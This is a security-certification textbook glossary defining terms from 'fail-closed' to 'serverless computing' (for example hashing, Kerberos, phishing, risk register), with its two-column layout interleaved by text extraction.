inherence. These are characterized as FTP, FTP with SSL (FTPS and FTPES), and
something you know/have/are. T(rivial)FTP. FTP utilizes ports 20 and 21.
fail-closed A security control financial data Data held about
configuration that blocks access to a bank and investment accounts, plus
resource in the event of failure. information such as payroll and tax
returns.
fail-open A security control
configuration that ensures continued firewall log A target for event data
access to the resource in the event of related to access rules that have been
failure. configured for logging.
failover A technique that ensures first responder The first experienced
a redundant component, device, or person or team to arrive at the scene of
application can quickly and efficiently an incident.
take over the functionality of an asset
forensics The process of gathering and
that has failed.
submitting computer evidence for trial.
fake telemetry Deception strategy that Digital evidence is latent, meaning that
returns spoofed data in response to it must be interpreted. This means that
network probes. great care must be taken to prove that
the evidence has not been tampered
false acceptance rate (FAR) A
with or falsified.
biometric assessment metric that
measures the number of unauthorized forgery attack An attack that exploits
users who are mistakenly allowed weak authentication to perform a
access. request via a hijacked session.
false negative In security scanning, fraud Falsifying records, such as an
a case that is not reported when it internal fraud that involves tampering
should be. with accounts.

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FTPS A type of FTP using TLS for per-user and per-computer settings
confidentiality. such as password policy, account
restrictions, firewall status, and so on.
full disk encryption (FDE) Encryption of
all data on a disk (including system files, guidelines Best practice
temporary files, and the pagefile) can recommendations and advice for
be accomplished via a supported OS, configuration items where detailed,
third-party software, or at the controller strictly enforceable policies and
level by the disk device itself. standards are impractical.
gap analysis An analysis that measures hacker Often used to refer to someone
the difference between the current and who breaks into computer systems or
desired states in order to help assess spreads viruses, ethical hackers prefer
the scope of work included in a project. to think of themselves as experts on and
explorers of computer security systems.
geofencing Security control that can
enforce a virtual boundary based on hacktivist A threat actor that is
real-world geography. motivated by a social issue or political
cause.
geographic dispersion A resiliency
mechanism where processing and hard authentication token An
data storage resources are replicated authentication token generated by
between physically distant sites. a cryptoprocessor on a dedicated
hardware device. As the token is never
geolocation The identification or
transmitted directly, this implements an
estimation of the physical location of an
ownership factor within a multifactor
object, such as a radar source, mobile
authentication scheme.
phone, or Internet-connected computing
device. hardening A process of making a host
or app configuration secure by reducing
Global Positioning System (GPS)
its attack surface, through running only
A means of determining a receiver’s
necessary services, installing monitoring
position on Earth based on information
software to protect against malware
received from orbital satellites.
and intrusions, and establishing a
governance Creating and monitoring maintenance schedule to ensure the
effective policies and procedures to system is patched to be secure against
manage assets, such as data, and software exploits.
ensure compliance with industry
hash-based message authentication
regulations and local, national, and
code (HMAC) A method used to verify
global legislation.
both the integrity and authenticity of a
governance board Senior executives message by combining a cryptographic
and external stakeholders with hash of the message with a secret key.
responsibility for setting strategy and
hashing A function that converts an
ensuring compliance.
arbitrary-length string input to a fixed-
governance committee Leaders length string output. A cryptographic
and subject matter experts with hash function does this in a way that
responsibility for defining policies, reduces the chance of collisions, where
procedures, and standards within a two different inputs produce the same
particular domain or scope. output.
group account A group account is a Health Insurance Portability and
collection of user accounts that is useful Accountability Act (HIPAA) US federal
when establishing file permissions law that protects the storage, reading,
and user rights because when many modification, and transmission of
individuals need the same level of personal healthcare data.
access, a group could be established
heat map In a Wi-Fi site survey, a
containing all the relevant users.
diagram showing signal strength and
group policy object (GPO) On a channel uitilization at different
Windows domain, a way to deploy locations.

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heat map risk matrix A graphical table can access and understand using basic
indicating the likelihood and impact of viewer software, such as documents,
risk factors identified for a workflow, images, video, and audio.
project, or department for reference by
hybrid cloud A cloud deployment that
stakeholders.
uses both private and public elements.
heuristic A method that uses feature
hybrid password attack An attack that
comparisons and likenesses rather than
uses multiple attack methods, including
specific signature matching to identify
dictionary, rainbow table, and brute
whether the target of observation is
force attacks, when trying to crack a
malicious.
password.
high availability (HA) A metric that
identification The process by which
defines how closely systems approach
a user account (and its credentials) is
the goal of providing data availability
issued to the correct person. Sometimes
100% of the time while maintaining a
referred to as enrollment.
high level of system performance.
identity and access management
honeypot A host (honeypot), network
(IAM) A security process that provides
(honeynet), file (honeyfile), or credential/
identification, authentication, and
token (honeytoken) set up with the
authorization mechanisms for users,
purpose of luring attackers away from
computers, and other entities to work
assets of actual value and/or discovering
with organizational assets like networks,
attack strategies and weaknesses in the
operating systems, and applications.
security configuration.
identity provider In a federated
horizontal privilege escalation When
network, the service that holds the user
a user accesses or modifies specific
account and performs authentication.
resources that they are not entitled to.
IDS/IPS log A target for event data
host-based firewall A software
related to detection/prevention rules
application running on a single host
that have been configured for logging.
and designed to protect only that host.
IEEE 802.1X A standard for
host-based intrusion detection
encapsulating EAP communications
system (HIDS) A type of IDS that
over a LAN (EAPoL) or WLAN (EAPoW) to
monitors a computer system for
implement port-based authentication.
unexpected behavior or drastic changes
to the system’s state. impact The severity of the risk if
realized by factors such as the scope,
host-based intrusion prevention
value of the asset, or the financial
system (HIPS) Endpoint protection that
impacts of the event.
can detect and prevent malicious activity
via signature and heuristic pattern impersonation Social engineering
matching. attack where an attacker pretends to
be someone they are not.
hot site A fully configured alternate
processing site that can be brought implicit deny The basic principle of
online either instantly or very quickly security stating that unless something
after a disaster. has explicitly been granted access, it
should be denied access.
HTML5 VPN Using features of HTML5
to implement remote desktop/VPN impossible travel A potential
connections via browser software indicator of malicious activity where
(clientless). authentication attempts are made from
different geographical locations within a
human-machine interface (HMI) Input short timeframe.
and output controls on a PLC to allow
a user to configure and monitor the incident An event that interrupts
system. standard operations or compromises
security policy.
human-readable data Information
stored in a file type that human beings incident response lifecycle Procedures
and guidelines covering appropriate

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priorities, actions, and responsibilities in injection attack An attack that

the event of security incidents, divided exploits weak request handling or input
into preparation, detection, analysis, validation to run arbitrary code in a
containment, eradication/recovery, and client browser or on a server.
lessons learned stages.
inline Placement and configuration
incident response plan (IRP) Specific of a network security control so
procedures that must be performed if that it becomes part of the cable
a certain type of event is detected or path.
reported.
input validation Any technique used to
indicator of compromise (IoC) A sign ensure that the data entered into a field
that an asset or network has been or variable in an application is handled
attacked or is currently under attack. appropriately by that application.
indoor positioning system (IPS) integrated penetration testing
Technology that can derive a device’s A holistic approach that combines
location when indoors by triangulating different types of penetration testing
its proximity to radio sources such methodologies and techniques to
as Bluetooth beacons or Wi-Fi access evaluate an organization’s security
points. operations.
industrial camouflage Methods of integrity The fundamental security goal
disguising the nature and purpose of of keeping organizational information
buildings or parts of buildings. accurate, free of errors, and without
unauthorized modifications.
industrial control system (ICS)
Network managing embedded devices intelligence fusion In threat hunting,
(computer systems that are designed to using sources of threat intelligence data
perform a specific, dedicated function). to automate detection of adversary IoCs
and TTPs.
information security policies A
document or series of documents that intentional threat A threat actor with a
are backed by senior management and malicious purpose.
that detail requirements for protecting
internal threat A type of threat actor
technology and information assets from
who is assigned privileges on the
threats and misuse.
system and causes an intentional or
Information Sharing and Analysis unintentional incident.
Center (ISAC) A not-for-profit group
internal/external The degree of access
set up to share sector-specific threat
that a threat actor possesses before
intelligence and security best practices
initiating an attack. An external threat
among its members.
actor has no standing privileges, while
information-sharing organization an internal actor has been granted some
Collaborative groups that exchange data access permissions.
about emerging cybersecurity threats
Internet header A record of the email
and vulnerabilities.
servers involved in transferring an email
infrastructure as a service (IaaS) A message from a sender to a recpient.
cloud service model that provisions
Internet Key Exchange (IKE)
virtual machines and network
Framework for creating a security
infrastructure.
association (SA) used with IPSec. An SA
infrastructure as code (IaC) establishes that two hosts trust one
Provisioning architecture in which another (authenticate) and agree on
deployment of resources is performed secure protocols and cipher suites to
by scripted automation and use to exchange data.
orchestration.
Internet Message Access Protocol
inherent risk Risk that an event will (IMAP) Application protocol providing a
pose if no controls are put in place to means for a client to access and manage
mitigate it. email messages stored in a mailbox on

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a remote server. IMAP4 utilizes TCP port structure that is easy for both humans
number 143, while the secure version and machines to read and consume.
IMAPS uses TCP/993.
journaling A method used by file
internet of things (IoT) Devices that systems to record changes not yet made
can report state and configuration to the file system in an object called a
data and be remotely managed over IP journal.
networks.
jump server A hardened server that
Internet Protocol (IP) Network provides access to other hosts.
(Internet) layer protocol in the TCP/IP
Kerberos A single sign-on
suite providing packet addressing and
authentication and authorization service
routing for all higher-level protocols in
that is based on a time-sensitive, ticket-
the suite.
granting system.
Internet Protocol Security (IPSec)
key distribution center (KDC)
Network protocol suite used to secure
A component of Kerberos that
data through authentication and
authenticates users and issues tickets
encryption as the data travels across the
(tokens).
network or the Internet.
key encryption key (KEK) In storage
internet relay chat (IRC) A group
encryption, the private key that is used
communications protocol that enables
to encrypt the symmetric bulk media
users to chat, send private messages,
encryption key (MEK). This means that
and share files.
a user must authenticate to decrypt the
intrusion detection system (IDS) A MEK and access the media.
security appliance or software that
key exchange Any method by which
analyzes data from a packet sniffer to
cryptographic keys are transferred
identify traffic that violates policies or
among users, thus enabling the use
rules.
of a cryptographic algorithm.
intrusion prevention system (IPS)
key length Size of a cryptographic
A security appliance or software that
key in bits. Longer keys generally
combines detection capabilities with
offer better security, but key lengths
functions that can actively block
for different ciphers are not directly
attacks.
comparable.
IP Flow Information Export (IPFIX)
key management system In PKI,
Standards-based version of the Netflow
procedures and tools that centralize
framework.
generation and storage of cryptographic
isolation Removing or severely keys.
restricting communications paths to a
key risk indicator (KRI) The method
particular device or system.
by which emerging risks are identified
IT Infrastructure Library (ITIL) An IT and analyzed so that changes can be
best practice framework, emphasizing adopted to proactively avoid issues from
the alignment of IT Service Management occuring.
(ITSM) with business needs. ITIL was
key stretching A technique that
first developed in 1989 by the UK
strengthens potentially weak input for
government. ITIL 4 was released in 2019
cryptographic key generation, such as
and is now marketed by AXELOS.
passwords or passphrases created by
jailbreaking Removes the protective people, against brute force attacks.
seal and any OS-specific restrictions
keylogger Malicious software or
to give users greater control over the
hardware that can record user
device.
keystrokes.
JavaScript Object Notation (JSON)
kill chain A model developed by
A file format that uses attribute-value
Lockheed Martin that describes
pairs to define configurations in a

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the stages by which a threat actor as a subjectively determined scale, such

progresses to a network intrusion. as high or low.
lateral movement The process by listener/collector A network appliance
which an attacker is able to move from that gathers or receives log and/or state
one part of a computing environment to data from other network systems.
another.
load balancer A type of switch,
layer 4 firewall A stateful inspection router, or software that distributes
firewall that can monitor TCP sessions client requests between different
and UDP traffic. resources, such as communications
links or similarly configured servers. This
layer 7 firewall A stateful inspection
provides fault tolerance and improves
firewall that can filter traffic based on
throughput.
specific application protocol headers
and data, such as web or email data. log aggregation Parsing information
from multiple log and security event
least privilege A basic principle of
data sources so that it can be presented
security stating that something should
in a consistent and searchable format.
be allocated the minimum necessary
rights, privileges, or information to log data OS and applications software
perform its role. can be configured to log events
automatically. This provides valuable
legal data Documents and records
troubleshooting information. Security
that relate to matters of law, such as
logs provide an audit trail of actions
contracts, property, court cases, and
performed on the system as well as
regulatory filings.
warning of suspicious activity. It is
legal hold A process designed to important that log configuration and
preserve all relevant information when files be made tamperproof.
litigation is reasonably expected to
logic bomb A malicious program or
occur.
script that is set to run under particular
lessons learned report (LLR) An circumstances or in response to a
analysis of events that can provide defined event.
insight into how to improve response
logical segmentation Network
and support processes in the future.
topology enforced by switch, router,
level of sophistication/capability A and firewall configuration where hosts
formal classification of the resources on one network segment are prevented
and expertise available to a threat actor. from or restricted in communicating
lighting Physical security mechanisms with hosts on other segments.
that ensure a site is sufficiently lure An attack type that will entice
illuminated for employees and guests a victim into using or opening a
to feel safe and for camera-based removable device, document, image,
surveillance systems to work well. or program that conceals malware.
Lightweight Directory Access Protocol machine learning (ML) A component
(LDAP) Protocol used to access network of AI that enables a machine to develop
directory databases, which store strategies for solving a task given a
information about authorized users labeled dataset where features have
and their privileges, as well as other been manually identified but without
organizational information. further explicit instructions.
Lightweight Directory Access Protocol malicious process A process executed
Secure (LDAP Secure) A method of without proper authorization from
implementing LDAP using SSL/TLS the system owner for the purpose of
encryption. damaging or compromising the system.
likelihood In qualitative risk analysis, malicious update A vulnerability in
the chance of an event that is expressed a software repository or supply chain

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that a threat actor can exploit to add memory injection A vulnerability that a
malicious code to a package. threat actor can exploit to run malicious
code with the same privilege level as the
malware Software that serves a
vulnerable process.
malicious purpose, typically installed
without the user’s consent (or Message Digest Algorithm v5 (MD5) A
knowledge). cryptographic hash function producing a
128-bit output.
Mandatory Access Control (MAC) An
access control model where resources metadata Information stored or
are protected by inflexible, system- recorded as a property of an object,
defined rules. Resources (objects) state of a system, or transaction.
and users (subjects) are allocated a
microservice An independent, single-
clearance level (or label).
function module with well-defined and
maneuver In threat hunting, the lightweight interfaces and operations.
concept that threat actor and defender Typically this style of architecture allows
may use deception or counterattacking for rapid, frequent, and reliable delivery
strategies to gain positional advantage. of complex applications.
master service agreement (MSA) A missing logs A potential indicator of
contract that establishes precedence malicious activity where events or log
and guidelines for any business files are deleted or tampered with.
documents that are executed between
mission essential function (MEF)
two parties.
Business or organizational activity that
maximum tolerable downtime (MTD) is too critical to be deferred for anything
The longest period that a process can be more than a few hours, if at all.
inoperable without causing irrevocable
mobile device management (MDM)
business failure.
Process and supporting technologies for
mean time between failures (MTBF) tracking, controlling, and securing the
A metric for a device or component that organization’s mobile infrastructure.
predicts the expected time between
monitoring/asset tracking
failures.
Enumeration and inventory processes
mean time to repair/replace/recover and software that ensure physical and
(MTTR) A metric representing average data assets comply with configuration
time taken for a device or component and performance baselines, and have
to be repaired, replaced, or otherwise not been tampered with or suffered
recover from a failure. other unauthorized access.
Media Access Control filtering (MAC multi-cloud A cloud deployment model
filtering) Applying an access control list where the cloud consumer uses mutiple
to a switch or access point so that only public cloud services.
clients with approved MAC addresses
multifactor authentication (MFA) An
can connect to it.
authentication scheme that requires the
Memorandum of Agreement (MoA) user to present at least two different
A legal document forming the basis factors as credentials; for example,
for two parties to cooperate without something you know, something you
a formal contract (a cooperative have, something you are, something you
agreement). MOAs are often used by do, and somewhere you are. Specifying
public bodies. two factors is known as “2FA.”
memorandum of understanding nation state actor A type of threat
(MoU) Usually a preliminary or actor that is supported by the resources
exploratory agreement to express of its host country’s military and security
an intent to work together that is not services.
legally binding and does not involve the
National Institute of Standards and
exchange of money.
Technology (NIST) Develops computer

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security standards used by US federal nondisclosure agreement (NDA)

agencies and publishes cybersecurity An agreement that stipulates that
best practice guides and research. entities will not share confidential
information, knowledge, or materials
near-field communication (NFC)
with unauthorized third parties.
A standard for two-way radio
communications over very short non-human-readable data Information
(around four inches) distances, stored in a file that human beings
facilitating contactless payment and cannot read without a specialized
similar technologies. NFC is based on processor to decode the binary or
RFID. complex structure.
NetFlow Cisco-developed means of non-repudiation The security goal
reporting network flow information of ensuring that the party that sent a
to a structured database. NetFlow transmission or created data remains
allows better understanding of IP traffic associated with that data and cannot
flows as used by different network deny sending or creating that data.
applications and hosts.
non-transparent proxy A server that
network access control (NAC) A redirects requests and responses
general term for the collected protocols, for clients configured with the proxy
policies, and hardware that authenticate address and port.
and authorize access to a network at the
NT LAN Manager authentication
device level.
(NTLM authentication) A challenge-
network attack An attack directed response authentication protocol
against cabled and/or wireless network created by Microsoft for use in its
infrastructure, including reconnaissance, products.
denial of service, credential harvesting,
obfuscation A technique that essentially
on-path, privilege escalation, and data
“hides” or “camouflages” code or other
exfiltration.
information so that it is harder to read
network behavior anomaly detection by unauthorized users.
(NBAD) A security monitoring tool
objective probability The mathematical
that monitors network packets for
measure of the possibility of a risk
anomalous behavior based on known
occurring.
signatures.
offboarding The process of ensuring
network functions virtualization
that all HR and other requirements are
(NFV) Provisioning virtual network
covered when an employee leaves an
appliances, such as switches, routers,
organization.
and firewalls, via VMs and containers.
offensive penetration testing
network log A target for system and
The “hostile” or attacking team in a
access events generated by a network
penetration test or incident response
appliance, such as a switch, wireless
exercise.
access point, or router.
off-site backup Backup that writes
network monitoring Auditing software
job data to media that is stored in
that collects status and configuration
a separate physical location to the
information from network devices.
production system.
Many products are based on the Simple
Network Management Protocol (SNMP). onboarding The process of bringing in a
new employee, contractor, or supplier.
next-generation firewall (NGFW)
Advances in firewall technology, from one-time password (OTP) A password
app awareness, user-based filtering, and that is generated for use in one specific
intrusion prevention to cloud inspection. session and becomes invalid after the
session ends.
non-credentialed scan A scan that uses
fewer permissions and many times can online certificate status protocol
only find missing patches or updates. (OCSP) Allows clients to request the

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status of a digital certificate to check package monitoring Techniques

whether it is revoked. and tools designed to mitigate risks
from application vulnerabilities in
on-path attack An attack where the
third-party code, such as libraries
threat actor makes an independent
and dependencies.
connection between two victims and is
able to read and possibly modify traffic. packet analysis Analysis of the headers
and payload data of one or more frames
on-premises Software or services
in captured network traffic.
installed and managed on a customer’s
computing infrastructure rather than packet filtering firewall A layer 3
in the cloud or hosted by a third-party firewall technology that compares
provider. packet headers against ACLs to
determine which network traffic to
on-premises network A private
accept.
network facility that is owned and
operated by an organization for use parallel processing tests Running
by its employees only. primary and backup systems
simultaneously to validate the
on-site backup Backup that writes job
functionality and performance of
data to media that is stored in the same
backup systems without disrupting
physical location as the production
normal operations.
system.
passive reconnaissance Penetration
Opal Standards for implementing device
testing techniques that do not interact
encryption on storage devices.
with target systems directly.
open authorization (OAuth) A
passive security control An
standard for federated identity
enumeration, vulnerability, or incident
management, allowing resource servers
detection scan that analyzes only
or consumer sites to work with user
intercepted network traffic rather
accounts created and managed on a
than sending probes to a target. More
separate identity provider.
generally, passive reconnaissance
open public ledger Distributed public techniques are those that do not require
record of transactions that underpins direct interaction with the target.
the integrity of blockchains.
password attack Any attack where
open-source intelligence (OSINT) the attacker tries to gain unauthorized
Publicly available information plus the access to and use of passwords.
tools used to aggregate and search it.
password best practices Rules
order of volatility The order in which to govern secure selection and
volatile data should be recovered from maintenance of knowledge factor
various storage locations and devices authentication secrets, such as length,
after a security incident occurs. complexity, age, and reuse.
organized crime A type of threat actor password manager Software that
that uses hacking and computer fraud can suggest and store site and app
for commercial gain. passwords to reduce risks from poor
user choices and behavior. Most
out of band management (OOB)
browsers have a built-in password
Accessing the administrative interface
manager.
of a network appliance using a separate
network from the usual data network. password spraying A brute force attack
This could use a separate VLAN or a in which multiple user accounts are
different kind of link, such as a dial-up tested with a dictionary of common
modem. passwords.
out-of-cycle logging A potential passwordless Multifactor
indicator of malicious activity where authentication scheme that uses
event dates or timestamps are not ownership and biometric factors, but
consistent. not knowledge factors.

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patch A small unit of supplemental pharming An impersonation attack in

code meant to address either a security which a request for a website, typically
problem or a functionality flaw in a an e-commerce site, is redirected to a
software package or operating system. similar-looking, but fake, website.
patch management Identifying, testing, phishing An email-based social
and deploying OS and application engineering attack in which the
updates. Patches are often classified as attacker sends email from a supposedly
critical, security-critical, recommended, reputable source, such as a bank, to try
and optional. to elicit private information from the
victim.
Payment Card Industry Data Security
Standard (PCI DSS) The information physical attack An attack directed
security standard for organizations that against cabling infrastructure, hardware
process credit or bank card payments. devices, or the environment of the site
facilities hosting a network.
penetration testing A test that uses
active tools and security utilities to physical penetration testing
evaluate security by simulating an attack Assessment techniques that extend to
on a system. A pen test will verify that a site and other physical security systems.
threat exists, then will actively test and
pivoting When an attacker uses a
bypass security controls, and will finally
compromised host (the pivot) as a
exploit vulnerabilities on the system.
platform from which to spread an attack
percent encoding A mechanism for to other points in the network.
encoding characters as hexadecimal
platform as a service (PaaS) A
values delimited by the percent sign.
cloud service model that provisions
perfect forward secrecy (PFS) A application and database services as a
characteristic of transport encryption platform for development of apps.
that ensures if a key is compromised,
playbook A checklist of actions to
the compromise will only affect a single
perform to detect and respond to a
session and not facilitate recovery of
specific type of incident.
plaintext data from other sessions.
pluggable authentication module
permissions Security settings that
(PAM) A framework for implementing
control access to objects including file
authentication providers in Linux.
system items and network resources.
Point-to-Point Tunneling Protocol
persistence (load balancing) In load
(PPTP) Developed by Cisco and
balancing, the configuration option
Microsoft to support VPNs over PPP
that enables a client to maintain a
and TCP/IP. PPTP is highly vulnerable
connection with a load-balanced server
to password cracking attacks and
over the duration of the session. Also
considered obsolete.
referred to as sticky sessions.
policy A strictly enforceable ruleset
personal area network (PAN) A
that determines how a task should be
network scope that uses close-range
completed.
wireless technologies (usually based
on Bluetooth or NFC) to establish port mirroring (SPAN) Copying
communications between personal ingress and/or egress communications
devices, such as smartphones, laptops, from one or more switch ports to
and printers/peripheral devices. another port. This is used to monitor
communications passing over the
personal identification number (PIN)
switch.
A number used in conjunction with
authentication devices such as smart Post Office Protocol (POP) Application
cards; as the PIN should be known protocol that enables a client to
only to the user, loss of the smart download email messages from a server
card should not represent a security mailbox to a client over port TCP/110 or
risk. secure port TCP/995.

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potentially unwanted program (PUP) probability In quantitative risk analysis,

Software that cannot definitively be the chance of an event that is expressed
classed as malicious, but may not have as a percentage.
been chosen by or wanted by the user.
procedure Detailed instructions for
power distribution unit (PDU) An completing a task in a way that complies
advanced strip socket that provides with policies and standards.
filtered output voltage. A managed unit
project stakeholder A person who has
supports remote administration.
a business interest in the outcome of a
power failure Complete loss of building project or is actively involved in its work.
power.
proprietary information Information
preparation An incident response created by an organization, typically
process that hardens systems, defines about the products or services that it
policies and procedures, establishes makes or provides.
lines of communication, and puts
provenance In digital forensics, being
resources in place.
able to trace the source of evidence to
pre-shared key (PSK) A wireless a crime scene and show that it has not
network authentication mode where a been tampered with.
passphrase-based mechanism is used to
provisioning The process of deploying
allow group authentication to a wireless
an account, host, or application to a
network. The passphrase is used to
target production environment. This
derive an encryption key.
involves proving the identity or integrity
pretexting Social engineering tactic of the resource, and issuing it with
where a team will communicate, credentials and access permissions.
whether directly or indirectly, a lie or
proximity reader A scanner that reads
half-truth in order to get someone to
data from an RFID or NFC tag when in
believe a falsehood.
range.
preventive control A type of security
proxy server A server that mediates
control that acts before an incident to
the communications between a client
eliminate or reduce the likelihood that
and another server. It can filter and
an attack can succeed.
often modify communications as well
private cloud A cloud that is deployed as provide caching services to improve
for use by a single entity. performance.
private key In asymmetric encryption, public cloud A cloud that is deployed
the private key is known only to the for shared use by multiple independent
holder and is linked to, but not derivable tenants.
from, a public key distributed to
public key During asymmetric
those with whom the holder wants to
encryption, this key is freely distributed
communicate securely. A private key
and can be used to perform the reverse
can be used to encrypt data that can be
encryption or decryption operation of
decrypted by the linked public key or
the linked private key in the pair.
vice versa.
public key cryptography standards
privilege escalation The practice of
(PKCS) A series of standards defining
exploiting flaws in an operating system
the use of certificate authorities and
or other application to gain a greater
digital certificates.
level of access than was intended for the
user or application. public key infrastructure (PKI) A
framework of certificate authorities,
privileged access management (PAM)
digital certificates, software, services,
Policies, procedures, and support
and other cryptographic components
software for managing accounts
deployed for the purpose of validating
and credentials with administrative
subject identities.
permissions.

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qualitative risk analysis The process recovery time objective (RTO) The
of determining the probability of maximum time allowed to restore a
occurrence and the impact of identified system after a failure event.
risks by using logical reasoning when
redundancy Overprovisioning
numeric data is not readily available.
resources at the component, host, and/
quantitative risk analysis A numerical or site level so that there is failover to
method that is used to assess the a working instance in the event of a
probability and impact of risk and problem.
measure the impact.
regulated data Information that has
questionnaires In vendor management, storage and handling compliance
structured means of obtaining requirements defined by national
consistent information, enabling more and state legislation and/or industry
effective risk analysis and comparison. regulations.
race condition A software vulnerability remote access Infrastructure,
when the resulting outcome from protocols, and software that allow a
execution processes is directly host to join a local network from a
dependent on the order and timing physically remote location, or that allow
of certain events, and those events a session on a host to be established
fail to execute in the order and timing over a network.
intended by the developer.
remote access Trojan (RAT) Malware
radio-frequency ID (RFID) A means of that creates a backdoor remote
encoding information into passive tags administration channel to allow a threat
which can be energized and read by actor to access and control the infected
radio waves from a reader device. host.
ransomware Malware that tries Remote Authentication Dial-in
to extort money from the victim User Service (RADIUS) AAA protocol
by blocking normal operation of a used to manage remote and wireless
computer and/or encrypting the victim’s authentication infrastructures.
files and demanding payment.
remote code execution (RCE) A
reaction time The elapsed time vulnerability that allows an attacker to
between an incident occurring and a transmit code from a remote host for
response being implemented. execution on a target host or a module
that exploits such a vulnerability.
real-time operating system (RTOS) A
type of OS that prioritizes deterministic Remote Desktop Protocol (RDP)
execution of operations to ensure Application protocol for operating
consistent response for time-critical remote connections to a host using a
tasks. graphical interface. The protocol sends
screen data from the remote host to
reconnaissance The actions taken to
the client and transfers mouse and
gather information about an individual’s
keyboard input from the client to the
or organization’s computer systems
remote host. It uses TCP port 3389.
and software. This typically involves
collecting information such as the types replay attack An attack where the
of systems and software used, user attacker intercepts some authentication
account information, data types, and data and reuses it to try to reestablish a
network configuration. session.
recovery An incident response process replication Automatically copying
in which hosts, networks, and systems data between two processing systems
are brought back to a secure baseline either simultaneously on both systems
configuration. (synchronous) or from a primary to a
secondary location (asynchronous).
recovery point objective (RPO) The
longest period that an organization can reporting A forensics process that
tolerate lost data being unrecoverable. summarizes significant contents of

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digital data using open, repeatable, and risk Likelihood and impact (or
unbiased methods and tools. consequence) of a threat actor
exercising a vulnerability.
representational state transfer (REST)
A standardized, stateless architectural risk acceptance The response of
style used by web applications for determining that a risk is within
communication and integration. the organization’s appetite and no
countermeasures other than ongoing
reputational threat intelligence
monitoring is needed.
Blocklists of known threat sources,
such as malware signatures, IP address risk analysis Process for qualifying or
ranges, and DNS domains. quantifying the likelihood and impact of
a factor.
residual risk Risk that remains even
after controls are put into place. risk appetite A strategic assessment of
what level of residual risk is acceptable
resilience The ability of a system or
for an organization.
network to recover quickly from failure
events with no or minimal manual risk assessment The process of
intervention. identifying risks, analyzing them,
developing a response strategy for
resource consumption A potential
them, and mitigating their future impact.
indicator of malicious activity where
CPU, memory, storage, and/or network risk avoidance In risk mitigation, the
usage deviates from expected norms. practice of ceasing activity that presents
risk.
resource inaccessibility A potential
indicator of malicious activity where a risk deterrence In risk mitigation, the
file or service resource that should be response of deploying security controls
available is inaccessible. to reduce the likelihood and/or impact
of a threat scenario.
resources/funding The ability of threat
actors to draw upon funding to acquire risk exception Category of risk
personnel, tools, and to develop novel management that uses alternate
attack types. mitigating controls to control an
accepted risk factor.
responsibility matrix Identifies that
responsibility for the implementation risk exemption Category of risk
of security as applications, data, and management that accepts an
workloads are transitioned into a unmitigated risk factor.
cloud platform are shared between
risk identification Within overall risk
the customer and the cloud service
assessment, the specific process of
provider (CSP).
listing sources of risk due to threats and
responsible disclosure program vulnerabilities.
A process that allows researchers
risk management The cyclical process
and reviewers to safely disclose
of identifying, assessing, analyzing, and
vulnerabilities to a software
responding to risks.
developer.
risk mitigation The response
responsiveness The ability of a system
of reducing risk to fit within an
to process a task or workload within an
organization’s willingness to accept risk.
acceptable amount of time.
risk owner An individual who is
reverse proxy A type of proxy server
accountable for developing and
that protects servers from direct contact
implementing a risk response strategy
with client requests.
for a risk documented in a risk register.
right to be forgotten Principle of
risk register A document highlighting
regulated privacy data that protects
the results of risk assessments in an
the data subject’s ability to request its
easily comprehensible format (such as
deletion.

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a “traffic light” grid). Its purpose is for salt A security countermeasure that
department managers and technicians mitigates the impact of precomputed
to understand risks associated with the hash table attacks by adding a random
workflows that they manage. value to (“salting”) each plaintext input.
risk reporting A periodic summary of sandbox A computing environment
relevant information about a project’s that is isolated from a host system
current risks. It provides a summarized to guarantee that the environment
overview of known risks, realized risks, runs in a controlled, secure fashion.
and their impact on the organization. Communication links between the
sandbox and the host are usually
risk threshold Boundary for types and/
completely prohibited so that malware
or levels of risk that can be accepted.
or faulty software can be analyzed in
risk tolerance Determines the isolation and without risk to the host.
thresholds that separate different levels
sanitization The process of thoroughly
of risk.
and completely removing data from a
risk transference In risk mitigation, storage medium so that file remnants
the response of moving or sharing the cannot be recovered.
responsibility of risk to another entity,
Sarbanes-Oxley Act (SOX) A
such as by purchasing cybersecurity
law enacted in 2002 that dictates
insurance.
requirements for the storage and
role-based access control (RBAC) An retention of documents relating to an
access control model where resources organization’s financial and business
are protected by ACLs that are managed operations.
by administrators and that provide
scalability Property by which a
user permissions based on job
computing environment is able to
functions.
gracefully fulfill its ever-increasing
root cause analysis A technique used resource needs.
to determine the true cause of the
screened subnet A segment isolated
problem that, when removed, prevents
from the rest of a private network by
the problem from occurring again.
one or more firewalls that accepts
root certificate authority In PKI, a CA connections from the Internet over
that issues certificates to intermediate designated ports.
CAs in a hierarchical structure.
Secure Access Service Edge (SASE) A
rooting Gaining superuser-level access networking and security architecture
over an Android-based mobile device. that provides secure access to cloud
router firewall A hardware device that applications and services while reducing
has the primary function of a router, but complexity. It combines security
also has firewall functionality embedded services like firewalls, identity and
into the router firmware. access management, and secure web
gateway with networking services such
rule-based access control A as SD-WAN.
nondiscretionary access control
technique that is based on a set of secure baseline Configuration guides,
operational rules or restrictions to benchmarks, and best practices for
enforce a least privileges permissions deploying and maintaining a network
policy. device or application server in a secure
state for its given role.
rules of engagement (ROE) A definition
of how a pen test will be executed and secure enclave CPU extensions that
what constraints will be in place. This protect data stored in system memory
provides the pen tester with guidelines so that an untrusted process cannot
to consult as they conduct their tests read it.
so that they don’t have to constantly Secure File Transfer Protocol (SFTP)
ask management for permission to do A secure version of the File Transfer
something. Protocol that uses a Secure Shell (SSH)

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tunnel as an encryption method to to ensure the goals of the CIA triad

transfer, access, and manage files. and compliance with any framework
requirements.
secure hash algorithm (SHA) A
cryptographic hashing algorithm created self-encrypting drive (SED) A disk drive
to address possible weaknesses in MDA. where the controller can automatically
The current version is SHA-2. encrypt data that is written to it.
Secure Shell (SSH) Application protocol self-signed certificate A digital
supporting secure tunneling and remote certificate that has been signed by the
terminal emulation and file copy. SSH entity that issued it, rather than by a CA.
runs over TCP port 22.
Sender Policy Framework (SPF) A DNS
security assertion markup language record identifying hosts authorized to
(SAML) An XML-based data format used send mail for the domain.
to exchange authentication information
sensor A monitor that records (or
between a client and a service.
“sniffs”) data from frames as they pass
Security Content Automation over network media, using methods
Protocol (SCAP) A NIST framework that such as a mirror port or TAP device.
outlines various accepted practices for
sensor (alarms) A component in
automating vulnerability scanning.
an alarm system that identifies
security control A technology or unauthorized entry via infrared-,
procedure put in place to mitigate ultrasonic-, microwave-, or pressure-
vulnerabilities and risk and to ensure based detection of thermal changes
the confidentiality, integrity, and or movement.
availability (CIA) of information.
serverless A software architecture that
security identifier (SID) The value runs functions within virtualized runtime
assigned to an account by Windows and containers in a cloud rather than on
that is used by the operating system to dedicated server instances.
identify that account.
serverless computing Features and
